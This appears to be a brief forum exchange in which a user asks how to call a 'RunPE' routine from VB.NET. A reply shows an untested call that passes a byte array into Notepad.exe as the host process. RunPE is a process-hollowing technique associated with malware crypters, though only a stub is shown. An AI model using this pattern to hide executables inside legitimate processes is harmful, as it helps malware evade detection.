I was just wondering how I'd be able to add it as a reference and then use it in my VB.NET project?
I know how to add a reference, but I don't understand how I can use that DLL in my VB.NET program.

Thankyou :)

Well I got this far:
Private Function RunPE(ByVal bvBuff() As Byte, ByVal sHost As String, ByVal hProc As Long) As Boolean
End Function

Just not sure what I do to use it.

Dim retVal as Boolean
retVal = RunPE(Ur_Byte(),"C:\Windows\Notepad.exe",Me.Hwnd)

It should work if your RunPE Module is correct.. I haven't tried it..
